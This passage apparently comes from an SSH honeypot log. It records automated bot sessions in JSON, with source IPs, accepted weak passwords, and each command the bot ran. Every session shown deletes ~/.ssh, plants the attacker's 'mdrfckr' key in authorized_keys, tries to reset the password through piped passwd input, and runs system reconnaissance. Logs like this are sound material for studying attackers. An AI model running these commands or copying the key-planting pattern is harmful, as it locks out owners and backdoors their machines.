%MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:33:32.072019+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:33:32.732535+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:33:32.994365+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:33:33.360331+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:33:33.619238+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:33:34.584438+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:33:34.843103+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:33:36.654884+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:33:36.914083+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:33:39.089193+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwe@123456789","method":"password","accepted":true,"tier":"other"}]} {"id":"3ec0d238-b76e-40d5-8697-428d08619805","name":"gentle-golden-wagtail","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59690,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":443,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:32:06.271202+00:00","ended_at":"2026-08-27T12:32:07.457659+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2255,"events":[{"seq":1,"at":"2026-08-27T12:31:44.106807+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:31:44.547046+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:31:50.174969+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:31:50.967417+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:31:51.413666+00:00","kind":"input","latency_ms":null,"data":"echo -e \"!QAZxsw2\\n1RJtVeYKHERk\\n1RJtVeYKHERk\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:31:51.855663+00:00","kind":"input","latency_ms":null,"data":"echo \"!QAZxsw2\\n1RJtVeYKHERk\\n1RJtVeYKHERk\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:31:52.301914+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:31:52.981527+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:31:53.417643+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:31:54.443432+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:31:54.887080+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:31:56.266257+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:31:56.708876+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:31:57.261072+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:31:57.708193+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:31:58.599168+00:00","kind":"output","latency_ms":null,"data":" 12:31:58 up 7 days, 9:22, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:31:59.042351+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:31:59.937136+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:32:00.375687+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:32:00.850440+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:32:01.294722+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:32:01.665581+00:00","kind":"output","latency_ms":null,"data":"top - 12:32:01 up 7 days, 9:22, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:32:02.108127+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:32:02.419717+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:32:02.863766+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:32:03.646314+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:32:04.087960+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:32:04.468805+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":29,"at":"2026-08-27T12:32:04.911263+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:32:05.826081+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:32:06.272049+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:32:07.310632+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user","password":"!QAZxsw2","method":"password","accepted":true,"tier":"other"}]} {"id":"063ba4fa-f4f3-4a10-a2ca-0fedab92e42f","name":"dappled-rugged-dipper","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":54790,"username":"server","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":757,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:31:46.854372+00:00","ended_at":"2026-08-27T12:31:48.487515+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2259,"events":[{"seq":1,"at":"2026-08-27T12:31:20.063116+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:31:20.845412+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:31:27.342293+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:31:28.070217+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:31:28.825092+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Server123\\nSDxi9Yw1TDNI\\nSDxi9Yw1TDNI\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:31:29.584960+00:00","kind":"input","latency_ms":null,"data":"echo \"Server123\\nSDxi9Yw1TDNI\\nSDxi9Yw1TDNI\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:31:30.341729+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:31:30.604476+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:31:31.362093+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:31:32.488160+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:31:33.248243+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:31:34.031415+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:31:34.789099+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:31:35.179391+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:31:35.941147+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:31:36.685394+00:00","kind":"output","latency_ms":null,"data":" 12:31:36 up 7 days, 9:21, 0 user, load average: 0.28, 0.27, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:31:37.442170+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:31:37.899674+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:31:38.656814+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:31:39.082402+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:31:39.838162+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:31:40.642268+00:00","kind":"output","latency_ms":null,"data":"top - 12:31:40 up 7 days, 9:21, 0 user, load average: 0.28, 0.27, 0.25\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:31:41.399959+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:31:41.769154+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:31:42.523991+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:31:42.996939+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:31:43.763041+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:31:44.114116+00:00","kind":"output","latency_ms":null,"data":"server"},{"seq":29,"at":"2026-08-27T12:31:44.871550+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:31:46.088456+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:31:46.855129+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:31:48.226488+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"server","password":"Server123","method":"password","accepted":true,"tier":"other"}]} {"id":"99ccf506-6ffc-4033-8775-6988a850b13b","name":"whispering-placid-hyrax","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":51354,"username":"tempuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":329,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:31:43.140989+00:00","ended_at":"2026-08-27T12:31:45.015186+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-27T12:31:15.276132+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:31:15.603932+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:31:19.830734+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:31:21.829212+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:31:22.169162+00:00","kind":"input","latency_ms":null,"data":"echo -e \"admin\\n3M1zK9iETKWr\\n3M1zK9iETKWr\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:31:22.481253+00:00","kind":"input","latency_ms":null,"data":"echo \"admin\\n3M1zK9iETKWr\\n3M1zK9iETKWr\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:31:22.808860+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:31:23.810322+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:31:24.139006+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:31:24.223666+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:31:24.278135+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T12:31:25.071155+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:31:25.399478+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:31:26.703122+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:31:27.032213+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:31:28.575738+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:31:28.902669+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:31:29.799390+00:00","kind":"output","latency_ms":null,"data":" 12:31:29 up 7 days, 9:21, 0 user, load average: 0.33, 0.24, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:31:30.136528+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:31:31.624228+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:31:31.959190+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:31:33.064736+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:31:33.391888+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:31:35.020429+00:00","kind":"output","latency_ms":null,"data":"top - 12:31:35 up 7 days, 9:21, 0 user, load average: 0.33, 0.24, 0.22\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:31:35.350356+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:31:36.503486+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:31:36.836969+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:31:38.412898+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:31:38.742516+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:31:40.791279+00:00","kind":"output","latency_ms":null,"data":"tempuser"},{"seq":31,"at":"2026-08-27T12:31:41.119221+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:31:42.543679+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:31:43.143375+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:31:44.917412+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"tempuser","password":"admin","method":"password","accepted":true,"tier":"other"}]} {"id":"bda5fd82-149a-466a-b1a2-d839e9b74824","name":"emerald-tawny-snipe","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":56260,"username":"esadmin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":263,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:31:33.624503+00:00","ended_at":"2026-08-27T12:31:34.849961+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2266,"events":[{"seq":1,"at":"2026-08-27T12:31:16.527581+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:31:16.787087+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:31:20.624688+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:31:21.044703+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:31:21.307533+00:00","kind":"input","latency_ms":null,"data":"echo -e \"esadmin@2024\\nklffYpUQcTN3\\nklffYpUQcTN3\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:31:21.567104+00:00","kind":"input","latency_ms":null,"data":"echo \"esadmin@2024\\nklffYpUQcTN3\\nklffYpUQcTN3\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:31:21.828707+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:31:22.182302+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:31:22.445955+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:31:23.809033+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:31:24.072861+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:31:25.178194+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:31:25.438902+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:31:25.839068+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:31:26.101946+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:31:27.243191+00:00","kind":"output","latency_ms":null,"data":" 12:31:27 up 7 days, 9:21, 0 user, load average: 0.06, 0.06, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:31:27.508308+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:31:27.967953+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:31:28.229462+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:31:28.663262+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:31:28.924290+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:31:29.282794+00:00","kind":"output","latency_ms":null,"data":"top - 12:31:29 up 7 days, 9:21, 0 user, load average: 0.06, 0.06, 0.06\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:31:29.545607+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:31:30.225272+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:31:30.487948+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:31:30.974517+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:31:31.237816+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:31:31.523185+00:00","kind":"output","latency_ms":null,"data":"esadmin"},{"seq":29,"at":"2026-08-27T12:31:31.786035+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:31:33.362135+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:31:33.625479+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:31:34.773916+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"esadmin","password":"esadmin@2024","method":"password","accepted":true,"tier":"other"}]} {"id":"0c76bfb4-836e-4008-83a9-7ac679dbfa15","name":"crisp-hazel-dormouse","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":59090,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":299,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia 